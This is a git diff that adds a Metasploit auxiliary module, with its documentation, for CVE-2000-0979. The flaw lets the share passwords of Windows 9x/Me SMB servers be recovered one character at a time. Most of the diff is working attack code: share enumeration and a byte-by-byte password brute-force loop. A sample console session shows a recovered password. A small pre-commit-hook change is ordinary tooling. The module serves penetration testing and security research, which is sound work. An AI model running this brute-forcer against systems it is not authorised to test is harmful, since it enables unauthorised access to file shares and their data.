diff --git a/documentation/modules/auxiliary/scanner/smb/cve_2000_0979.md b/documentation/modules/auxiliary/scanner/smb/cve_2000_0979.md new file mode 100644 index 0000000000000..1fd84a8dab117 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/smb/cve_2000_0979.md @@ -0,0 +1,89 @@ +# Description + +This module exploits CVE-2000-0979, an information disclosure vulnerability in the +share-level password authentication of Microsoft Windows 9x/Me SMB servers. The server +validates share passwords one character at a time, allowing an attacker to enumerate the +correct password byte-by-byte based on the server response. This significantly reduces +the brute-force complexity from exponential to linear in the password length. + +A zero-length password is always accepted by vulnerable servers. Each subsequent character +can then be brute-forced individually by observing the authentication response. + +The module first enumerates available shares on the target via a NetShareEnum request, +then attempts to recover the password for each share. + +## Vulnerable Systems + +- Microsoft Windows 95 +- Microsoft Windows 98 +- Microsoft Windows 98 SE +- Microsoft Windows Me + +___ + +# Usage + +``` +msf6 > use auxiliary/scanner/smb/cve_2000_0979 +msf6 auxiliary(scanner/smb/cve_2000_0979) > set RHOSTS 192.168.1.100 +RHOSTS => 192.168.1.100 +msf6 auxiliary(scanner/smb/cve_2000_0979) > run + +[*] Starting CVE-2000-0979 SMB Share Password Enumerator +[+] Number of shares: 3 +[+] Share names: +[+] PUBLIC +[+] PRIVATE +[+] IPC$ +[*] Brute-forcing password for share: PUBLIC +[+] Empty password works for share: PUBLIC +[*] Brute-forcing password for share: PRIVATE +[*] Share PRIVATE - confirmed so far: s +[*] Share PRIVATE - confirmed so far: se +[*] Share PRIVATE - confirmed so far: sec +[*] Share PRIVATE - confirmed so far: secr +[*] Share PRIVATE - confirmed so far: secre +[*] Share PRIVATE - confirmed so far: secret +[+] Password found for share PRIVATE: secret +[*] Auxiliary module execution completed +``` + +___ + +## Options + +### RHOSTS + +The target host running a vulnerable Windows 9x/Me SMB server. Typically port 139 (NetBIOS). + +### RPORT + +The SMB port to connect to. Defaults to `139`. + +### SMBName + +The target's NetBIOS hostname, sent in the NBSS Session Request. Defaults to the +wildcard `*SMBSERVER`. + +- **Leave at the default (`*SMBSERVER`)** if you do not know the target's NetBIOS + name. The module will fall back to a UDP Node Status query (RFC 1002, port 137) + when the server rejects the wildcard with `CALLED_NAME_NOT_PRESENT`, and retry + the session request with the resolved name. +- **Set it explicitly** (e.g. `set SMBName WIN95`) when you already know the name + or the target blocks UDP/137. Auto-discovery is skipped in that case, so the + server's rejection propagates immediately instead of stalling on a UDP probe. + +You can find the NetBIOS name from any host that can reach UDP/137 on the target +using `nmblookup -A `, `nbtscan `, or `nmap -sU -p137 --script nbstat `. + +### DELAY + +Optional delay (in seconds) between password probe attempts. Defaults to `0`. Can be +useful to avoid triggering rate limiting or network issues on unstable connections. + +___ + +## References + +- [CVE-2000-0979](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0979) +- [SecurityFriday Share Password Checker](http://www.securityfriday.com/tools/SPC.html) diff --git a/modules/auxiliary/scanner/smb/cve_2000_0979.rb b/modules/auxiliary/scanner/smb/cve_2000_0979.rb new file mode 100644 index 0000000000000..7e6ebf4e40e45 --- /dev/null +++ b/modules/auxiliary/scanner/smb/cve_2000_0979.rb @@ -0,0 +1,186 @@ +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated + include Msf::Auxiliary::Report + + RAP_SHARE_TYPES = { + 0 => 'DISK', + 1 => 'PRINTER', + 2 => 'DEVICE', + 3 => 'IPC' + }.freeze + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'CVE-2000-0979 SMB Share Password Enumerator', + 'Description' => %q{ + This module exploits CVE-2000-0979, an information disclosure vulnerability + in the share-level password authentication of Microsoft Windows 9x/Me SMB + servers. The server validates passwords one character at a time, allowing an + attacker to enumerate the correct password byte-by-byte based on the server + response. A zero-length password is always accepted, and each subsequent + character can be brute-forced individually, significantly reducing the search + space required to recover the full share password. + }, + 'Author' => [ + 'Zoltan Balazs @zh4ck', + 'Azbil SecurityFriday Co Ltd' + ], + 'References' => [ + ['CVE', '2000-0979'], + ['URL', 'http://www.securityfriday.com/tools/SPC.html'], + ], + 'DisclosureDate' => '2000-10-10', + 'License' => MSF_LICENSE, + 'Notes' => { + 'AKA' => ['Share Password Checker'], + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptInt.new('DELAY', [false, 'Add delay between password probes', 0]), + Opt::RPORT(139), + OptString.new('SMBName', [true, 'NetBIOS name of the target Win9x/Me machine', nil]) + ] + ) + end + + def run + delay = datastore['DELAY'] + print_status('Starting CVE-2000-0979 SMB Share Password Enumerator') + + # Phase 1: Connect and enumerate shares via RAP + connect(versions: [1], backend: :ruby_smb, direct: false) + smb_login + + shares = enum_shares_rap + if shares.empty? + print_status('No shares found') + disconnect + return + end + + disconnect + + # Phase 2: Reconnect and brute-force share passwords + connect(versions: [1], backend: :ruby_smb, direct: false) + smb_login + + brute_force_shares(shares, delay) + + disconnect + rescue ::Interrupt + raise $ERROR_INFO + rescue Rex::ConnectionTimeout => e + print_error(e.to_s) + rescue Rex::Proto::SMB::Exceptions::LoginError => e + print_error(e.to_s) + rescue RubySMB::Error::RubySMBError => e + print_error("RubySMB error: #{e}") + rescue StandardError => e + print_error("#{e.class}: #{e}") + ensure + begin + disconnect + rescue StandardError # rubocop:disable Lint/SuppressedException + end + end + + private + + def enum_shares_rap + shares = [] + tree = simple.client.tree_connect("\\\\#{rhost}\\IPC$") + begin + tree.net_share_enum.each do |entry| + type_str = RAP_SHARE_TYPES.fetch(entry[:type], "UNKNOWN(#{entry[:type]})") + shares << entry[:name] + print_good("#{entry[:name]} - (#{type_str})") + end + ensure + begin + tree.disconnect! + rescue StandardError # rubocop:disable Lint/SuppressedException + end + end + print_good("Number of shares: #{shares.length}") + shares + rescue StandardError => e + print_error("Share enumeration failed: #{e}") + [] + end + + def try_tree_connect(share_path, password_bytes) + pass_str = password_bytes.pack('C*') + tree = simple.client.tree_connect(share_path, password: pass_str) + vprint_status( + "TreeConnect #{share_path} pw=#{password_bytes.map { |b| '%02X' % b }.join} STATUS_SUCCESS" + ) + { success: true, tree: tree } + rescue RubySMB::Error::UnexpectedStatusCode => e + vprint_status( + "TreeConnect #{share_path} pw=#{password_bytes.map { |b| '%02X' % b }.join} #{e.status_code.name}" + ) + { success: false, tree: nil } + rescue StandardError => e + vprint_error("Tree connect error: #{e}") + { success: false, tree: nil } + end + + def brute_force_shares(shares, delay) + shares.each do |share| + share_path = "\\\\#{rhost}\\#{share}" + print_status("Brute-forcing password for share: #{share}") + + password = [0x20] + + loop do + result = try_tree_connect(share_path, password) + + if result[:success] + if password[0] == 0x20 && password[1] == 0x20 + print_good("Empty password works for share: #{share}") + result[:tree]&.disconnect! + break + end + + confirmed = password.select { |v| v < 128 }.map(&:chr).join + print_status("Share #{share} - confirmed so far: #{confirmed}") + + result[:tree]&.disconnect! + password.push(0x20) + else + password[-1] += 1 + + vprint_status( + password.select { |v| v < 128 }.map(&:chr).join + ) + + sleep(delay) if delay > 0 + sleep(0.01) + + if password[-1] > 128 + found = password.select { |v| v < 128 }.map(&:chr).join + if password.length > 1 + print_good("Password found for share #{share}: #{found}") + else + print_status("Password not found for share: #{share}") + end + break + end + end + rescue IOError, SocketError, SystemCallError => e + print_error(e.message) + break + end + end + end +end diff --git a/tools/dev/pre-commit-hook.rb b/tools/dev/pre-commit-hook.rb index bb75bf09bde9a..ed9215734277d 100755 --- a/tools/dev/pre-commit-hook.rb +++ b/tools/dev/pre-commit-hook.rb @@ -75,10 +75,24 @@ def merge_error_message else puts "--- Checking new and changed module syntax with tools/dev/msftidy.rb ---" - command = %w[bundle exec ruby ./tools/dev/msftidy.rb] + files_to_check - msftidy_output, status = ::Open3.capture2(*command) + # When RVM is present and the project declares a Ruby version/gemset, + # prefix the command with `rvm do` so bundle resolves gems + # from the correct gemset rather than the system Ruby's paths. + rvm_bin = File.expand_path('~/.rvm/bin/rvm') + if File.executable?(rvm_bin) && (File.exist?('.ruby-version') || File.exist?('.ruby-gemset')) + ruby_ver = (File.read('.ruby-version').strip rescue nil) + gemset = (File.read('.ruby-gemset').strip rescue nil) + prefix = [rvm_bin, [ruby_ver, gemset].compact.join('@'), 'do'] + else + prefix = [] + end + + gemfile_env = File.exist?('Gemfile.local') ? { 'BUNDLE_GEMFILE' => 'Gemfile.local' } : {} + + command = prefix + %w[bundle exec ruby ./tools/dev/msftidy.rb] + files_to_check + msftidy_output, status = ::Open3.capture2(gemfile_env, *command) valid = false unless status.success? - puts "#{fname} - msftidy check passed" if msftidy_output.empty? + puts "msftidy check passed" if msftidy_output.empty? && status.success? msftidy_output.each_line do |line| puts line end